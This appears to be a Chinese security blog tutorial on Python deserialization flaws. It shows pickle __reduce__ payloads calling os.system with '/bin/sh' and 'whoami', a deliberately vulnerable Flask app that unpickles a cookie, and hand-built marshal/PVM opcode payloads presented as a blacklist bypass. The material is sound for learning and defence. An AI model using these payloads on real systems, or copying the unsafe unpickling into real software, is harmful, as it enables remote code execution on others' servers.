文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox-Retired

HackTheBox-Active

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

Java安全

算法

Leetcode

随笔

经验

技术

 2021-01-03   1.6k

Python反序列化漏洞

这是关于Python语言相关漏洞的第三篇:反序列化漏洞。学过PHP反序列化漏洞之后,肯定知道关于PHP反序列化各式各样的利用方式,比如POP链构造,Phar反序列化,原生类反序列化以及字符逃逸等等,Python相对而言没有PHP那么灵活,关于反序列化漏洞的话比较容易理解,主要涉及这么几个概念:pickle,pvm,__reduce__魔术方法。

K0rz3n师傅的文章已经讲的极为透彻了,我就搬运总结学习一下。

0x01 python序列化和反序列化

序列化

1
2
3
4
5
6
7
8
9
10
11
import pickle
class People(object):
def __init__(self,name = "K0rz3n"):
self.name = name

def say(self):
print "Hello ! My friends"

a=People()
c=pickle.dumps(a)
print c

python3的输出:

python2的输出:

虽然看起来有点难理解,但是还是可以清楚地看到我们对象的属性 name ca01h,我们对象所属的类 people 都已近存储在里面了。

反序列化

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
class People(object):
def __init__(self,name = "K0rz3n"):
self.name = name

def say(self):
print "Hello ! My friends"

a=People()
c=pickle.dumps(a)
d = pickle.loads(c)
d.say()

无论python2还是python3,输出的都是Hello ! My friends,也就是说我们成功通过反序列化的方式恢复了之前我们序列化进去的类对象并成功的执行了对象的方法。

0x02 反序列化漏洞

漏洞常见出现地方

1.通常在解析认证token,session的时候

现在很多web都使用redis、mongodb、memcached等来存储session等状态信息。

2.可能将对象Pickle后存储成磁盘文件。

3.可能将对象Pickle后在网络中传输。

其实,最常见的也是最经典的也就是我们的第一点,也就是 flask 配合 redis 在服务端存储 session 的情景,这里的 session 是被 pickle 序列化进行存储的,如果你通过 cookie 进行请求 sessionid 的话,session 中的内容就会被反序列化,看似好像是没有什么问题,因为 session 是存储在 服务端的,但是终究是抵不住 redis 的未授权访问,如果出现未授权的话,我们就能通过 set 设置自己的 session ,然后通过设置 cookie 去请求 session 的过程中我们自定的内容就会被反序列化,然后我们就达到了执行任意命令或者任意代码的目的。

漏洞利用方式

漏洞产生的原因在于其可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发__reduce__()函数从而触发恶意代码。

简单说明一下__reduce__()函数:将一个数据集合(链表,元组等)中的所有数据进行下列操作:用传给 reduce 中的函数 function(有两个参数)先对集合中的第 1、2 个元素进行操作,得到的结果再与第三个数据用 function 函数运算,最后得到一个结果。

show code

1
2
3
4
5
6
7
8
9
import pickle
import os
class A(object):
def __reduce__(self):
a = '/bin/sh'
return (os.system,(a,))
a = A()
test = pickle.dumps(a)
print test

运行结果:

稍微解释一下这几个指令:

  • S : 后面跟的是字符串
  • ( :作为命令执行到哪里的一个标记
  • t :将从 t 到标记的全部元素组合成一个元祖,然后放入栈中
  • c :定义模块名和类名(模块名和类名之间使用回车分隔)
  • R :从栈中取出可调用函数以及元祖形式的参数来执行,并把结果放回栈中
  • . :点号是结束符

另外p0 p1 p2 p3只是标签,对命令我们的payload没有任何影响。

我们让上面这个结果进行反序列化看一下结果

1
2
3
4
5
6
7
8
9
import pickle
import os
class A(object):
def __reduce__(self):
a = '/bin/sh'
return (os.system,(a,))
a = A()
test = pickle.dumps(a)
pickle.loads(test)

运行结果:

再来看一个最简单的利用方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
if __name__ == "__main__":
app.run()

很明显,反序列化的参数是可控的。

1
2
3
4
5
6
class exp(object):
def __reduce__(self):
return (os.system,('whoami',))

e = exp()
s = pickle.dumps(e)

0x03 Marshal反序列化

现在看看还有啥别的序列化库。由于pickle不能序列化code对象,所以在python2.6后新增marshal来处理code对象的序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pickle,builtins,pickletools,base64
import marshal
import urllib
def foo():
import os
def fib(n):
if n <= 2:
return n
return fib(n-1) + fib(n-2)
print (fib(5))
try:
pickle.dumps(foo.__code__)
except Exception as e:
print(e)
code_serialized = base64.b64encode(marshal.dumps(foo.__code__))
print(code_serialized)

运行结果:

好,现在我们需要让这段代码在反序列化的时候得到执行,那我们还能不能直接使用 __reduce__ 呢?好像不行,因为 reduce 是利用调用某个 callable 并传递参数来执行的,而我们这个函数本身就是一个 callable ,我们需要执行它,而不是将他作为某个函数的参数,这个时候就需要自己构造opcode。

这里也用到了 Python 的一个面向对象的特性,Python 能通过 types.FunctionTyle(func_code,globals(),’’)() 来动态地创建匿名函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import pickle,builtins,pickletools,base64
import marshal
import urllib
def foo():
import os
def fib(n):
if n <= 2:
return n
return fib(n-1) + fib(n-2)
print (fib(5))
try:
pickle.dumps(foo.__code__)
except Exception as e:
print(e)
code_serialized = base64.b64encode(marshal.dumps(foo.__code__))
code_unserialized = marshal.loads(base64.b64decode(code_serialized))
code_unserialized = types.FunctionType(code_unserialized, globals(), '')()
print(code_unserialized)

那我们现在的任务就是如何通过 PVM 操作码来构造出这个东西的执行

1
2
3
4
5
6
7
8
9
10
11
ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAA...' #code对象序列化编码
tRtRc__builtin__
globals
(tRS''
tR(tR.

利用方式

1
2
3
4
5
def foo():
import os
return os.system('whoami')
code_serialized = base64.b64encode(marshal.dumps(foo()))
print(code_serialized)

执行结果:

在pickle下尝试执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
payload = b"""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'6QAAAAA=' #whomai
tRtRc__builtin__
globals
(tRS''
tR(tR."""
data = pickle.loads(payload)
print(data)

于是又有一个黑名单绕过执行函数的方式。

0x04 Others

当然还有一些其他的反序列化方式,例如PyYaml,Jsonpickle,Shelve,这里就不多赘述了。

https://misakikata.github.io/2020/04/python-反序列化/

Copyright © ca01h 2019-2021 | 本站总访问量